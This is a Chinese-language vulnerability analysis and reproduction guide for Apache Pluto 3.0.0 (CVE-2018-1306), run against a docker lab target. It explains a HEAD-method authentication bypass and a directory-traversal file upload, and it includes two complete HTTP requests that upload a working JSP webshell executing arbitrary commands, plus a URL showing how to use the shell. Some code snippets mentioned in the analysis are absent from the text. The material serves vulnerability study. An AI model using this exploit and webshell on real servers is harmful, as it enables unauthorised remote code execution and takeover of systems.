Apache Pluto任意文件上传漏洞(CVE-2018-1306)
0x01 漏洞简介
Apache Pluto 使用 Web.xml 中的安全约束配置来控制对资源的访问,但是其中的安全约束配置存在缺陷,攻击者可以绕过身份验证。安全约束配置中,Pluto 定义了 GET、POST、PUT 方法,由于未列出 HEAD 方法,因此可以使用 HTTP HEAD 方法来绕过安全约束策略。
并且 PortletV3AnnotatedDemo Multipart Portlet war 文件代码未限制和验证文件上传路径,攻击者可以利用”…/”来自定义上传文件的保存路径。 利用两个设计缺陷进行配合,攻击者可以上传任意文件到任意文件目录,从而能获取服务器的 webshell。
0x02 影响版本
Apache Portals Pluto 3.0.0
0x03 环境搭建
下载运行环境:docker run -d -p 8080:8080 vultarget/apache_pluto_rce-cve_2018_1306:3.0.1
访问8080端口中的pluto
就是网站主页
0x04 漏洞分析
首先是未授权访问的问题,Pluto的web使用web.xml中的来进行URL权限访问控制,3.0.0版本中,权限控制代码文件为: PlutoHome/webapps/pluto/WEB-INF/web.xml 其中URL访问控制的代码片段如下:
<security-constraint>
<web-resource-collection>
<web-resource-name>portal</web-resource-name>
<url-pattern>/portal</url-pattern>
<url-pattern>/portal/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>pluto</role-name>
</auth-constraint>
</security-constraint>
禁止了使用GET、POST、PUT方法来访问/portal/、/portal/*下的接口URL,但是忽略了HEAD、DELETE、OPTION方法,因此攻击者可以利用HEAD方法来未授权访问定义的URL。
获取用户上传的文件内容,未对上传文件的后缀进行限制,存储的时候未对文件进行重命名,直接存储在Webapp的临时temp目录中,导致存在任意文件上传漏洞,具体产生漏洞的文件: PortletV3AnnotatedDemo/src/main/java/org/apache/portals/samples/MultipartPortlet.java ,代码片段如下:
未验证用户上传的文件后缀,并且会将用户上传的文件存储到webapps所在的临时目录中,获取上传请求中用户上传的文件名作为服务器上文件存储路径的一部分,用户可以使用"…/"来进行目录穿越,控制恶意文件的存储位置。在3.0.1版本中进行了修复,修复代码片段如下:
getFile()方法代码片段如下:
用户无法控制上传文件的存储路径,并且存储临时文件的目录不在webapps目录下,因此攻击者无法通过上传方式获取Webshell。
漏洞一:通过HTTP动词篡改绕过认证
说明:Apache Pluto 使用 web.xml 安全约束来控制对资源的访问。这些安全约束已被不安全地定义,允许绕过身份验证。当特定的 http 方法在安全约束中列出时,只有那些方法受到保护。 Pluto 定义了以下 http 方法:GET、POST 和 PUT。由于未列出 HEAD 方法,因此使用 HTTP HEAD 方法的请求有效
漏洞二:通过任意文件上传远程执行代码
描述:攻击者可以调用 PortletV3AnnotatedDemo Multipart Portlet 并上传任意文件。上传的文件可以直接访问/PortletV3AnnotatedDemo/temp/ 目录。该技术允许未经身份验证的攻击者安装恶意 JSP 文件并在运行 Apache Pluto 的服务器上远程执行代码。
漏洞三:分片文件上传时的目录遍历
描述:Apache Pluto 的多部分文件上传器容易受到目录遍历的攻击。攻击者能够将默认 /temp 目录之外的文件上传到任意位置在文件系统上。以下文件名将释放一个 JSP webshell进入 /webapps/pluto 公共目录:filename=“…/…/…/webapps/pluto/jspshell.jsp”。利用这种技术,尽管如此,通过 webshell 远程执行代码仍然是可能的
0x05 漏洞复现
使用 burp 发送以下请求到 Apache Pluto:
HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/__ac0 HTTP/1.1
Host: Host: 172.16.5.146:8080
Content-Type: multipart/form-data; boundary=XX
Content-Length: 727
--XX
Content-Disposition: form-data; name="file"; filename="jspshell.jsp"
Content-Type: application/octet-stream
<FORM METHOD=GET ACTION='jspshell.jsp'>
CMD: <INPUT name='cmd' type=text value="cmd /c dir">
<INPUT type=submit value='Run'></FORM>
<%@ page import="java.io.*" %>
<%
String cmd = "whoami";
String param = request.getParameter("cmd");
if (param != null){ cmd = param; }
String s = null;
String output = "";
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"\r\n"; }
} catch(IOException e) { e.printStackTrace(); }
%>
<pre><%=output %></pre>
--XX--
HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/__ac0 HTTP/1.1
Host: Host: 172.16.5.146:8080
Content-Type: multipart/form-data; boundary=XX
Content-Length: 748
--XX
Content-Disposition: form-data; name="file"; filename="../../../webapps/pluto/qiuge.jsp"
Content-Type: application/octet-stream
<FORM METHOD=GET ACTION='qiuge.jsp'>
CMD: <INPUT name='cmd' type=text value="cmd /c dir">
<INPUT type=submit value='Run'></FORM>
<%@ page import="java.io.*" %>
<%
String cmd = "whoami";
String param = request.getParameter("cmd");
if (param != null){ cmd = param; }
String s = null;
String output = "";
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"\r\n"; }
} catch(IOException e) { e.printStackTrace(); }
%>
<pre><%=output %></pre>
--XX--
webshell 使用:http://172.16.5.146:8080/pluto/qiuge.jsp?cmd=hostname
参考链接
https://anquan.baidu.com/article/381